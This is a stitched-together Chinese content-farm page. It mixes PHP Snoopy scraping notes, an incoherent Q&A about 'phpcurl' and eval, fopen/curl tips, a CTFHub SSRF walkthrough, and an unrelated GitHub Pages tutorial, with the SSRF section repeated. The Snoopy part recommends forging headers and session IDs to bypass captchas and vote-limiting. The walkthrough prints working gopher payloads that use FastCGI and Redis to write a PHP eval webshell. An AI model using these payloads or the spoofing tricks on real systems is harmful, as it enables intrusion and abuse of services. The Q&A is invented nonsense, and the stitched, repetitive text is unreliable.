此方法向 $URL 指定的链接地址发送确认表单。 $formvars 是一个存储表单参数的数组。
6.提交文本($URI,$formvars)
该方法与submit()类似,唯一不同的是该方法会去除HTML标签等无关数据,登录后只返回网页的文本内容。
7.提交链接($URI)
这个方法和submit()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
演示
include "Snoopy.class.php";$snoopy = new Snoopy;
$snoopy->proxy_host = "http://www.nowamagic.net/librarys/veda/";
$snoopy->proxy_port = "80";
$snoopy->agent = "(compatible; MSIE 4.01; MSN 2.5; AOL 4.0; Windows 98)";
$snoopy->referer = "http://www.4wei.cn";
$snoopy->cookies["SessionID"] = 238472834723489l;
$snoopy->cookies["favoriteColor"] = "RED";
$snoopy->rawheaders["Pragma"] = "no-cache";
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
$snoopy->user = "joe";
$snoopy->pass = "bloe";
if($snoopy->fetchtext("http://www.4wei.cn"))
{
echo "".htmlspecialchars($snoopy->results)."
n";
}
其他
echo "获取文档时出错:".$snoopy->error."n";
获取指定url的内容:
表单提交:
现在表单已经提交,可以做很多事情。接下来,我们伪装ip,伪装浏览器:
原来我们可以伪装session,伪装浏览器,伪装ip,哈哈可以做很多事情。比如有验证码,验证ip投票,就可以继续投票。
ps:这里的伪装ip其实就是伪装http头,所以一般通过REMOTE_ADDR获取的ip是无法伪装的,但是通过http头获取ip的(可以防止代理的那种)可以自己创建ip .
关于如何验证码,简单来说:先用普通浏览器,查看页面,找到验证码对应的sessionid,记下sessionid和验证码值,然后用snoopy进行伪造。
原理:因为是同一个sessionid,所以得到的验证码和第一次输入的一样。
有时我们可能需要伪造更多的东西,史努比完全为我们解决了这个问题:
比较完整的演示
/**
* You need the snoopy.class.php from
* http://snoopy.sourceforge.net/
*/
include("snoopy.class.php");
$snoopy = new Snoopy;
// need an proxy?:
//$snoopy->proxy_host = "my.proxy.host";
//$snoopy->proxy_port = "8080";
// set browser and referer:
$snoopy->agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$snoopy->referer = "http://www.jonasjohn.de/";
// set some cookies:
$snoopy->cookies["SessionID"] = '238472834723489';
$snoopy->cookies["favoriteColor"] = "blue";
// set an raw-header:
$snoopy->rawheaders["Pragma"] = "no-cache";
// set some internal variables:
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
// set username and password (optional)
//$snoopy->user = "joe";
//$snoopy->pass = "bloe";
// fetch the text of the website www.google.com:
if($snoopy->fetchtext("http://www.baidu.com")){
// other methods: fetch, fetchform, fetchlinks, submittext and submitlinks
// response code:
print "response code: ".$snoopy->response_code."
n";
// print the headers:
print "<b>Headers:
";
while(list($key,$val) = each($snoopy->headers)){
print $key.": ".$val."
n";
}
print "
n";
// print the texts of the website:
print htmlspecialchars($snoopy->results)."n";
}
else {
print "Snoopy: error while fetching document: ".$snoopy->error."n";
}
使用史努比类完成一张简单的图片采集:
<p>
php curl抓取网页指定内容(phpcurl抓取网页指定内容的时候是在你的token上加密)
网站优化 • 优采云 发表了文章 • 0 个评论 • 50 次浏览 • 2022-04-02 11:07
phpcurl抓取网页指定内容的时候是在你的token上加密,请求数据的时候输入你的token也是需要输入密码的所以,eval是无法传递token的。而phpcurl的argumentfirst是传递给系统的,php需要用preg_match等工具把获取到的uri“一句一句”输入到preg_match后面,然后你就会得到最终结果。不然你试一下再插入一条搜索词。
php不支持eval,而且eval的eval在php中只有可选参数__version,没有默认值__ltn和__fib。题主说得phpcurl库应该不是php转发的eval,而是兼容eval的phpcurl库。php转发的eval在转发过程中在ca设置。
只能拿出那个例子去认真学习php吧...
1.curl缺少__version2.没有__ltn和__fib,只有__verbosephp开发者把eval封装了好像;你可以在chacx/php-authex·github下关注chacx;2.1里面request没有request_string;2.2里面request_string与url要分开理解;//这句话都是讲怎么request与request_string。
1和2可以同理2.3里面request_string缺少__method;2.4里面request_string缺少__length;2.5里面缺少__version;2.6里面缺少__fib与__msg;2.7里面缺少__verbose__;这些都是php语言一些函数的使用标准;你用起来会不顺手;建议你还是认真理解php语言吧..。 查看全部
php curl抓取网页指定内容(phpcurl抓取网页指定内容的时候是在你的token上加密)
phpcurl抓取网页指定内容的时候是在你的token上加密,请求数据的时候输入你的token也是需要输入密码的所以,eval是无法传递token的。而phpcurl的argumentfirst是传递给系统的,php需要用preg_match等工具把获取到的uri“一句一句”输入到preg_match后面,然后你就会得到最终结果。不然你试一下再插入一条搜索词。
php不支持eval,而且eval的eval在php中只有可选参数__version,没有默认值__ltn和__fib。题主说得phpcurl库应该不是php转发的eval,而是兼容eval的phpcurl库。php转发的eval在转发过程中在ca设置。
只能拿出那个例子去认真学习php吧...
1.curl缺少__version2.没有__ltn和__fib,只有__verbosephp开发者把eval封装了好像;你可以在chacx/php-authex·github下关注chacx;2.1里面request没有request_string;2.2里面request_string与url要分开理解;//这句话都是讲怎么request与request_string。
1和2可以同理2.3里面request_string缺少__method;2.4里面request_string缺少__length;2.5里面缺少__version;2.6里面缺少__fib与__msg;2.7里面缺少__verbose__;这些都是php语言一些函数的使用标准;你用起来会不顺手;建议你还是认真理解php语言吧..。
php curl抓取网页指定内容(PHP外部资源函数fopen/file_get_contents好很多)
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-03-31 00:02
1、fopen 的使用
复制代码代码如下:
复制代码代码如下:
// 以下代码可用于 PHP 5 及以上版本
但是上面的代码很容易出现开流失败:HTTP request failed!错误,解决方法
有人说在php.ini中有两个选项:allow_url_fopen =on(表示可以通过url打开远程文件),user_agent="PHP"(表示使用哪个脚本访问网络,还有一个" ;" 默认在它前面。是的。)重新启动服务器。
但他们中的一些人仍然有这个警告信息。距离完美解决方案还有一步之遥。您必须在 php.ini 中设置 user_agent。php的默认user_agent是PHP,我们改成Mozilla/4.0(兼容Mozilla/4.0)。; MSIE 6.0; Windows NT 5.0) 模拟浏览器
<IMG border="0" src="/upload/201906/30/201906301524089947.gif" />
user_agent="Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.0)"
工作中遇到这个问题,完美解决了,分享给大家。
2、由 curl 实现
复制代码代码如下:
linux下,可以使用以下代码下载
exec("wget {$url}");
PHP抓取外部资源函数fopen/file_get_contents/curl的区别
fopen/file_get_contents 会为每个请求重新做 DNS 查询,并且不缓存 DNS 信息。
但是 CURL 会自动缓存 DNS 信息。对同一域名下的网页或图片的请求只需要一次 DNS 查询。
这大大减少了 DNS 查询的数量。
所以 CURL 的性能比 fopen/file_get_contents 好很多。 查看全部
php curl抓取网页指定内容(PHP外部资源函数fopen/file_get_contents好很多)
1、fopen 的使用
复制代码代码如下:
复制代码代码如下:
// 以下代码可用于 PHP 5 及以上版本
但是上面的代码很容易出现开流失败:HTTP request failed!错误,解决方法
有人说在php.ini中有两个选项:allow_url_fopen =on(表示可以通过url打开远程文件),user_agent="PHP"(表示使用哪个脚本访问网络,还有一个" ;" 默认在它前面。是的。)重新启动服务器。
但他们中的一些人仍然有这个警告信息。距离完美解决方案还有一步之遥。您必须在 php.ini 中设置 user_agent。php的默认user_agent是PHP,我们改成Mozilla/4.0(兼容Mozilla/4.0)。; MSIE 6.0; Windows NT 5.0) 模拟浏览器
<IMG border="0" src="/upload/201906/30/201906301524089947.gif" />
user_agent="Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.0)"
工作中遇到这个问题,完美解决了,分享给大家。
2、由 curl 实现
复制代码代码如下:
linux下,可以使用以下代码下载
exec("wget {$url}");
PHP抓取外部资源函数fopen/file_get_contents/curl的区别
fopen/file_get_contents 会为每个请求重新做 DNS 查询,并且不缓存 DNS 信息。
但是 CURL 会自动缓存 DNS 信息。对同一域名下的网页或图片的请求只需要一次 DNS 查询。
这大大减少了 DNS 查询的数量。
所以 CURL 的性能比 fopen/file_get_contents 好很多。
通用方法:浅析SSRF的各种利用方式
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-09-22 18:24
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
免费提供:利用 GitHub 快速搭建一个免费个人网站 | 2022(无需编程)
首先,让我展示一下成品:我的个人 网站。
使用 GitHub Pages 服务的好处是:
唯一的限制是你只能构建静态的网站——即只有信息呈现,没有用户交互。但是对于个人网站来说,静态网站就绰绰有余了。
学习成本:
个人网站是建立个人品牌的重要手段。无论是求职还是提升行业影响力,个人网站都是加分项。
如今,建立个人网站 非常容易,但拥有个人网站 的人仍然很少——将其添加到您的简历中会有所不同。
还等什么,开始吧!
1.注册一个 GitHub 帐户(如果有,请跳过)
GitHub是微软旗下全球最大的开源社区和代码托管平台,是程序员最常用的网站程序之一。
访问,点击右上角“注册”:
来个炫酷的注册界面(背景星空会动)!
按照提示,输入邮箱地址,设置密码,设置ID(支持字母数字,“-”符号)。
应谨慎选择此 ID,因为它将出现在个人 网站 的域名中。作为演示,我这里使用了“test-user-2022”,那么最终的个人网站地址就是test-user-2022.github.io:
然后会有一个用户验证(从一堆图像中选择一个指定的),验证码将在完成后发送到您的电子邮件。输入验证码,账号就创建好了。
默认情况下,您将进入以下页面并询问您一些问题。如果不想回答,直接点击底部跳过
2.创建指定仓库
点击右上角的用户头像,在下拉框中选择“Your repositories”。
如果是新注册的账号,列表为空。点击“新建”按钮:
在下一页,在“Repository name”下输入“[your ID].github.io”作为存储库名称。
比如我这里的ID是test-user-2022,那么就输入test-user-2022.github.io。
然后点击底部的“创建仓库”:
3.选择一个主题
上一步的仓库创建成功后,会自动跳转到新创建的仓库。
你可以看到一堆操作指南,忽略它。点击“设置”:
在仓库设置页面,点击左侧导航栏中的“页面”:
点击“选择主题”为您的个人选择一个主题网站:
GitHub Pages 提供 12 个可选主题。选择后,点击“选择主题”:
(如果您在开头点击我的个人资料网站,您会发现我使用的是默认的 Cayman 主题。)
4. 发布和查看网站
选择主题后,会来到以下页面。
GitHub默认会生成一些文本,点击“预览”查看效果:
这里使用的是一种称为“Markdown”的语法。学习门槛不高,程序员一般都非常熟悉。
你可以不用管它,点击页面底部的“提交更改”按钮,先发布网站!无论如何,您可以随时返回并更改它:
确认发布后,会跳转到仓库中刚刚生成的“index.md”文件:
您现在可以访问您的个人网站!还是在仓库的“设置”-“页面”页面,可以看到网站已经发布了(发布网站大概需要一两分钟):
URL 格式为“[your ID].github.io”,与仓库名称相同。
访问效果:
5. 编辑 网站内容
当然,此时显示的是GitHub默认生成的文本,需要自己替换成自己的内容。
如何编辑?只需使用 GitHub 提供的网页编辑器即可。
在刚才的“index.md”文件页面,点击编辑图标:
然后在编辑器中使用markdown语法修改内容。
markdown 语法并不难。以下是一些最常见的语法:
另外,如果需要使用图片,可以直接将图片拖放到编辑器中。
修改后点击“预览”进行预览。
如果没有问题,点击页面底部的“Commit changes”,一两分钟就可以看到更新的人了网站哦~
上面的“test-user-2022”是我临时创建的用于演示的用户。我个人的 网站 实际存储库是 /chen-ni/chen-ni.github.io 供您参考。
我只是做了一个非常简单的一页个人网站,因为它已经足够了。如果需要,您还可以使其更复杂,而不是使用现成的主题 - 但这超出了本文的范围。
更多程序员实用工具,欢迎关注@Nichen~ 查看全部
通用方法:浅析SSRF的各种利用方式
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
